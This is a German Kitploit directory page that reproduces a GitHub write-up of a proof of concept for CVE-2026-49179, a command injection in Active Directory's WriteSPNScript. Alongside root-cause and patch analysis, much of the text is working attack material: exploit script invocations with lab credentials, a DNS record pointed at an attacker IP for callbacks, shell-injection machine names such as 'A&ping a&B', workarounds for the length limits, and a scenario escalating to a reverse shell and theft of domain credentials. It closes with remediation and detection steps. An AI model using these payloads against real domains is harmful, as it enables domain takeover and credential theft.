Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Proof-of-Concept- und Exploit-Skripte für CVE-2026-49179, eine Command Injection in der WriteSPNScript-Funktion von Active Directory, die SYSTEM-RCE auf Domänencontrollern ermöglicht. | Kitploit
Tools/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstests
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Proof-of-Concept- und Exploit-Skripte für CVE-2026-49179, eine Command Injection in der WriteSPNScript-Funktion von Active Directory, die SYSTEM-RCE auf Domänencontrollern ermöglicht.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
vor 6h 31mNoch nicht geprüft

CVE-2026-49179: Active Directory WriteSPNScript Command Injection

Zusammenfassung

FeldWert
CVE-IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Command Injection)
Betroffene Komponententdsai.dll — WriteSPNScript-Funktion
Betroffene SystemeWindows Server 2016, 2019, 2022, 2025 (vor Patch)
AngriffsvektorAuthentifizierter Domänenbenutzer (beliebiger)
AuswirkungRemote Code Execution als SYSTEM auf dem Domänencontroller
VeröffentlichtAugust 2026

Beschreibung der Schwachstelle

Die WriteSPNScript-Funktion in ntdsai.dll generiert Batch-Skriptbefehle für die SPN-(Service Principal Name)-Behebung während Active-Directory-Wartungsvorgängen. Die Funktion verwendet eine Formatzeichenfolge, um repadmin.exe /writespn-Befehle zu konstruieren, versäumt es jedoch, den Distinguished Name (DN)-Parameter zu bereinigen, was eine Command Injection über das &-Zeichen (cmd.exe-Befehlstrenner) ermöglicht.

Die verwundbare Formatzeichenfolge:

root@kitploit:~
%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Parameter: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

Der DN wird vom Common Name (CN) des Maschinenkontos abgeleitet, der bei der Kontoerstellung festgelegt wird. Wenn ein Maschinenkonto mit Shell-Metazeichen im Namen erstellt wird, fließen diese Zeichen unescaped in das generierte Skript ein. Wenn cmd.exe das Skript ausführt, fungiert & als Befehlstrenner und führt angreifergesteuerte Befehle als SYSTEM aus.

Ursachenanalyse

Die Validierungslücke: SAMR vs. LDAP

Active Directory verfügt über zwei primäre Protokolle zur Verwaltung von Maschinenkonten:

Diese Validierungsasymmetrie ist die Ursache:

  • LDAP-SPN-Validierung blockiert alle gefährlichen Zeichen in SPN-Werten (Sackgasse für Injection über SPN)
  • SAMR-Kontoerstellung erlaubt Shell-Metazeichen in sAMAccountName, der zum CN wird und in den DN fließt
  • Der DN wird ohne Bereinigung an WriteSPNScript übergeben

Verwundbarer Code (Basis-ntdsai.dll)

An Adresse 0x1802a98a0 im ungepatchten Binary:

root@kitploit:~
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA formatiert den DN direkt in den Ausgabepuffer. Kein Escaping, kein Quoting, keine Bereinigung.

Generierte Ausgabe (Verwundbar)

Für eine Maschine mit CN=A&ping attacker&B:

root@kitploit:~
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe interpretiert dies als fünf separate Anweisungen:

Der injizierte Befehl erscheint zweimal — einmal aus dem DN-Parameter und einmal aus dem SPN-Parameter (der ebenfalls den Maschinennamen enthält).

Patch-Analyse

Die gepatchte WriteSPNScript (Größe: 1477 → 2005 Bytes) nimmt drei Änderungen vor:

1. Escaping-Funktionen hinzugefügt

Zwei neue Bereinigungsfunktionen, die auf beide Parameter — DN und SPN — angewendet werden:

  • EscapeForPowerShellSingleQuote() — escaped ', um ein Ausbrechen aus einfach-quotierten Zeichenfolgen zu verhindern
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — escaped \-Sequenzen vor " für natives argv-Parsing

2. Änderung des Ausgabeformats

3. Feature-Flag entfernt

Eine frühere Revision hatte ein Feature-Flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled, das den Fix steuerte. Im endgültigen Patch wurde dieses Flag entfernt — der Fix ist immer aktiv und kann nicht deaktiviert werden.

Proof of Concept

Testumgebung

Schritt 1: Bestätigen, dass SAMR Shell-Metazeichen akzeptiert

Mit spn_probe3.py wurde getestet, welche Zeichen SAMR in Maschinenkontonamen akzeptiert im Vergleich zu denen, die LDAP in SPN-Werten akzeptiert:

root@kitploit:~
SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Zentrale Erkenntnis: SAMR erlaubt alle 8 getesteten Shell-Metazeichen. LDAP blockiert alle. Der Injektionsvektor verläuft über SAMR-erstellte Maschinennamen, nicht über SPN-Werte.

Schritt 2: Injektionsmaschine als normaler Domänenbenutzer erstellen

root@kitploit:~
$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

Ebenfalls als samwell.tarly erstellt:

root@kitploit:~
[+] Created C&ping a&D$, RID: 1138

Bestätigt: Ein normaler Domänenbenutzer (PR:L) kann Maschinenkonten mit &-Command-Injection im Namen erstellen.

Schritt 3: DNS-Eintrag für Callback hinzufügen (als normaler Benutzer)

Normale Domänenbenutzer können ADIDNS-Einträge hinzufügen. Mit dnstool.py wurde ein kurzer Hostname erstellt, der auf den Angreifer zeigt:

root@kitploit:~
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

Auflösung auf dem DC verifiziert:

root@kitploit:~
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

Schritt 4: Command Injection auf dem DC verifizieren

Simulation der exakten Ausgabe, die WriteSPNScript generieren würde, ausgeführt auf dem DC:

Dateischreib-Nachweis:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

ICMP-Callback-Nachweis:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

Angreifer-tcpdump bestätigte den ICMP-Eingang:

root@kitploit:~
02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

Sowohl der Dateischreibvorgang als auch der ICMP-Callback bestätigen die Command Injection über den DN.

Was nachgewiesen wurde

Hindernisse und Einschränkungen

1. Längenbegrenzung des sAMAccountName (~15 Zeichen)

Der sAMAccountName eines Maschinenkontos ist auf etwa 15 Zeichen vor dem abschließenden $ begrenzt (NetBIOS-Kompatibilitätsbeschränkung). Dies schränkt die Payload-Komplexität erheblich ein.

Auswirkung: IP-Adressen, lange Befehle oder komplexe Payloads können nicht direkt in den Maschinennamen eingebettet werden.

Workaround: Kurze DNS-Hostnamen für Callbacks verwenden (z. B. ein einzelnes Zeichen a, das auf die Angreifer-IP verweist). Payloads müssen knapp sein:

  • A&ping a&B (11 Zeichen) — ICMP-Callback
  • A&echo X&B (11 Zeichen) — Ausführungsnachweis
  • A&calc&B (8 Zeichen) — GUI-Nachweis auf dem DC
  • A&whoami&B (11 Zeichen) — Kontextbestätigung

2. SAMR lehnt bestimmte Zeichen ab

Während SAMR Shell-Metazeichen akzeptiert (& ' \ $ ( ) ! Leerzeichen`), lehnt es Zeichen ab, die für Dateipfade und Netzwerkadressen benötigt werden:

Auswirkung: IP-Adressen, Dateipfade oder URLs können nicht direkt in Payloads verwendet werden.

Workaround:

  • Kurze ADIDNS-Einträge erstellen, die auf den Angreifer verweisen (normale Domänenbenutzer können dies tun)
  • Umgebungsvariablen verwenden (%TEMP%, %SYSTEMROOT%) — obwohl die Akzeptanz von % unbestätigt ist
  • Hostnamen-basierte Adressierung anstelle von IPs verwenden

3. WriteSPNScript-Trigger ist nicht unmittelbar

WriteSPNScript generiert eine Skriptdatei über WriteFile — es führt Befehle nicht direkt aus. Das generierte Skript muss von einem nachfolgenden Prozess ausgeführt werden. Die Funktion wird aufgerufen während:

  • dcdiag /fix — Administrator führt Diagnose-/Reparaturtool aus
  • AD-Replikation — SPN-Konflikte werden zwischen DCs verarbeitet
  • FixupSPNsOnComputerObject — SPN-Korrektur bei Attributänderungen
  • SPN-Audit-Tools — Drittanbieter- oder integrierte Wartungsskripte

Auswirkung: Die Injection wird sofort vorbereitet (Maschinenerstellung), aber die Ausführung hängt von einem Trigger-Ereignis auf dem DC ab. In einer Umgebung mit einem einzigen DC ohne Replikationspartner kann der Trigger Administratoraktivität erfordern (z. B. Ausführen von dcdiag /fix).

In Produktionsumgebungen: Multi-DC-Bereitstellungen haben regelmäßige Replikationszyklen. SPN-Fehlübereinstimmungen, die während der Replikation entdeckt werden, würden WriteSPNScript automatisch als Teil der Konfliktlösung auslösen.

4. Maschinenkonto-Kontingent

Das Standard-ms-DS-MachineAccountQuota beträgt 10 pro Benutzer. Jeder Injektionsversuch verbraucht einen Slot. Maschinenkonten mit Sonderzeichen in ihren Namen sind über Standardtools schwer zu löschen.

Auswirkung: Begrenzte Versuche pro Benutzerkonto. Fehlgeschlagene Versuche verschwenden Kontingent.

Workaround: Jeder Domänenbenutzer erhält sein eigenes Kontingent. In Umgebungen mit vielen Benutzern könnte ein Angreifer mehrere Konten verwenden.

5. Schwierigkeit der Bereinigung

Maschinenkonten, die mit &, $, (, ) in ihren Namen erstellt wurden, können über Standard-AD-Verwaltungstools (ADUC, PowerShell Remove-ADComputer) nicht einfach gelöscht werden, da die Sonderzeichen die Befehlsanalyse stören. Dies hinterlässt forensische Artefakte.

6. Umbenennungsansatz erfordert Administratorrechte

Ein alternativer Ausnutzungspfad — Erstellen einer sauber benannten Maschine, Festlegen gültiger SPNs, dann Umbenennen, um den DN zu injizieren — wurde getestet, aber die LDAP-ModifyDN-(Umbenennungs)-Operation erfordert erhöhte Rechte:

root@kitploit:~
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark:    [+] Rename succeeded (domain admin)

Auswirkung: Die Umbenennungsstrategie ist für PR:L nicht praktikabel. Die direkte SAMR-Erstellung mit Injektionszeichen ist der PR:L-Pfad.

Auswirkung

Privilegieneskalationskette

  1. Normaler Domänenbenutzer erstellt ein Maschinenkonto mit &<Befehl>& im Namen über SAMR
  2. Ein AD-Wartungsvorgang löst WriteSPNScript aus, das einen unescaped repadmin.exe-Befehl generiert
  3. Der injizierte Befehl wird als NT AUTHORITY\SYSTEM auf dem Domänencontroller ausgeführt
  4. Von SYSTEM auf dem DC aus hat der Angreifer die vollständige Domänenkompromittierung:
    • Alle Anmeldeinformationen auslesen (ntds.dit / DCSync)
    • Domänenadministratorkonten erstellen
    • Gruppenrichtlinien zur Persistenz ändern
    • Den gesamten AD-Gesamtstruktur kompromittieren

Realistisches Angriffsszenario

root@kitploit:~
Tag 1: Angreifer (beliebiger Domänenbenutzer) führt Exploit aus
  - Erstellt Maschine "A&ping a&B$" via SAMR
  - Fügt DNS-Eintrag "a" hinzu, der auf seinen C2-Server zeigt
  - Injection ist vorbereitet — Angreifer wartet

Tag N: Administrator führt dcdiag /fix aus (Routinewartung)
  - WriteSPNScript verarbeitet das bösartige Maschinenkonto
  - Generiert repadmin-Befehl mit unescaped DN
  - cmd.exe führt "ping a" als SYSTEM aus → bestätigt Callback
  
Tag N: Angreifer aktualisiert Payload
  - Erstellt neue Maschine mit Reverse-Shell-Payload
  - Wartet auf nächsten Wartungszyklus oder Replikationsereignis
  - SYSTEM-Shell auf DC → vollständige Domänenkompromittierung

Behebung

  1. Sicherheitsupdate anwenden von Microsofts Patch Tuesday August 2026

  2. Maschinenkonten auf ungewöhnliche Zeichen prüfen:

    root@kitploit:~
    Get-ADComputer -Filter * -Properties sAMAccountName |
      Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
      Select-Object Name, sAMAccountName, Created, DistinguishedName
    
  3. ms-DS-MachineAccountQuota auf 0 setzen, um zu verhindern, dass normale Benutzer Maschinenkonten erstellen:

    root@kitploit:~
    Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
    
  4. Ereignis-ID 4741 überwachen (Computer-Konto erstellt) auf ungewöhnliche Zeichen in Kontonamen

  5. ADIDNS-Eintragserstellung einschränken, falls von normalen Benutzern nicht benötigt

Dateien

Referenzen

  • Microsoft Security Advisory — CVE-2026-49179
  • MITRE CVE Entry
  • CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Tool herunterladen
ProtokollZeichenvalidierungShell-Metazeichen
LDAP (SPN-Werte)Streng — CONSTRAINT_ATT_TYPE lehnt & ; | ' \ $ ( )` abBlockiert
SAMR (Maschinennamen)Locker — validiert grundlegendes KontonamenformatErlaubt: & ' \ $ ( ) ! Leerzeichen`
#AnweisungErgebnis
1C:\...\repadmin.exe /writespn ADD CN=ASchlägt fehl (abgeschnittener DN)
2ping attackerINJIZIERT — wird als SYSTEM ausgeführt
3B,CN=Computers,DC=... HOST/ASchlägt fehl (kein gültiger Befehl)
4ping attackerINJIZIERT — wird erneut ausgeführt (aus SPN-Parameter)
5BSchlägt fehl (kein gültiger Befehl)
Basis (Verwundbar)Gepatcht
FunktionStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
QuotingKeinesEinfach-quotierte Parameter
Ausgaberepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'
HostRolleIPOS
WINTERFELLDomänencontroller192.168.56.11Windows Server 2019
AngreiferKali Linux192.168.14.238Kali 2026
Domänenorth.sevenkingdoms.local
Benutzer mit geringen Rechtensamwell.tarly / HeartsbaneNormaler Domänenbenutzer
Admin-Benutzerrobb.stark / sexywolfyDomänenadministrator
SchrittAktionAkteurErgebnis
1SAMR akzeptiert & in Maschinennamensamwell.tarly (PR:L)RID 1125, 1137, 1138
2LDAP lehnt & in SPN-Werten absamwell.tarly100 % Ablehnung
3DNS-Eintragserstellung für Callbacksamwell.tarly (PR:L)a → 192.168.14.238
4Maschinenkonto mit Injektions-CNsamwell.tarly (PR:L)A&echo POC&B$, C&ping a&D$
5Dateischreibvorgang via cmd-InjectionDC (simuliertes WriteSPNScript)proof.txt = "INJECTED"
6ICMP-Callback via cmd-InjectionDC (simuliertes WriteSPNScript)3 Pings empfangen
AbgelehntBlockierter Anwendungsfall
. (Punkt)IP-Adressen (192.168.1.1), FQDNs
\ (Backslash)Windows-Pfade (C:\Windows\...)
/ (Vorwärtsschrägstrich)URL-Pfade, Unix-Pfade
: (Doppelpunkt)Laufwerksbuchstaben (C:), Portnummern
" (doppeltes Anführungszeichen)Quoting/Escaping in Payloads
< > | ; , = + * ?Umleitung, Piping, Wildcards
DateiBeschreibung
poc/spn_probe.pyTestet alle 28 Shell-Metazeichen in LDAP-SPN-Werten
poc/spn_probe2.pyTestet Unicode-Vollbreiten-/Homoglyph-Bypass + DRSUAPI-Transport
poc/spn_probe3.pyTestet SAMR vs. LDAP vs. DRSUAPI Zeichenakzeptanz
poc/spn_exploit.pyExploit über Umbenennungsstrategie (Erstellen → SPN → Umbenennen → Injizieren)
poc/spn_prl_exploit.pyPR:L-Exploit (direkte SAMR-Erstellung + optionaler dNSHostName-Trigger)
nspi_diff_analysis.txtVollständiger Binärvergleich von ntdsai.dll (Basis vs. gepatcht)